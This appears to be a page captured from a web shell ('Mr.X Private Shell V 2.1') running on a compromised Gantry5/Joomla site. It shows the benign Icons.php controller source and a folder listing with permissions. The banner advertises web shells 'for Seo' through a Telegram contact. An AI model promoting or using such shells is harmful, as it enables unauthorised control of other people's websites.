__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2022 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and later
*/
namespace Gantry\Admin\Controller\Json;
use Gantry\Component\Admin\JsonController;
use Gantry\Component\Config\Config;
use Gantry\Component\Response\JsonResponse;
/**
* Class Icons
* @package Gantry\Admin\Controller\Json
*/
class Icons extends JsonController
{
/**
* @return JsonResponse
*/
public function index()
{
$response = [];
$this->container['configuration'] = 'default';
/** @var Config $config */
$config = $this->container['config'];
$version = $config->get('page.fontawesome.version', $config->get('page.fontawesome.default_version', 'fa4'));
if ($version === 'fa4') {
$list = include __DIR__ . '/Icons/FontAwesome4.php';
} else {
$list = include __DIR__ . '/Icons/FontAwesome5.php';
}
$options = [
'fw' => 'Fixed Width',
'spin' => 'Spinning',
'larger' => ['' => '- Size - ', 'lg' => 'Large', '2x' => '2x', '3x' => '3x', '4x' => '4x', '5x' => '5x'],
'rotation' => ['' => '- Rotation -', 'flip-horizontal' => 'Horizontal Flip', 'flip-vertical' => 'Vertical Flip', 'rotate-90' => 'Rotate 90°', 'rotate-180' => 'Rotate 180°', 'rotate-270' => 'Rotate 270°']
];
$list = array_unique($list);
sort($list);
$response['html'] = $this->render('@gantry-admin/ajax/icons.html.twig', ['icons' => $list, 'options' => $options, 'total' => count($list)]);
return new JsonResponse($response);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Icons | Folder | 0775 |
|
|
| Atoms.php | File | 5.66 KB | 0664 |
|
| Changelog.php | File | 3.23 KB | 0664 |
|
| Confirmdeletion.php | File | 1.04 KB | 0664 |
|
| Devprod.php | File | 1.29 KB | 0664 |
|
| Filepicker.php | File | 16.61 KB | 0664 |
|
| Fontpicker.php | File | 3.72 KB | 0664 |
|
| Icons.php | File | 1.84 KB | 0664 |
|
| Layouts.php | File | 8.24 KB | 0664 |
|
| Particle.php | File | 6.44 KB | 0664 |
|
| Unsaved.php | File | 939 B | 0664 |
|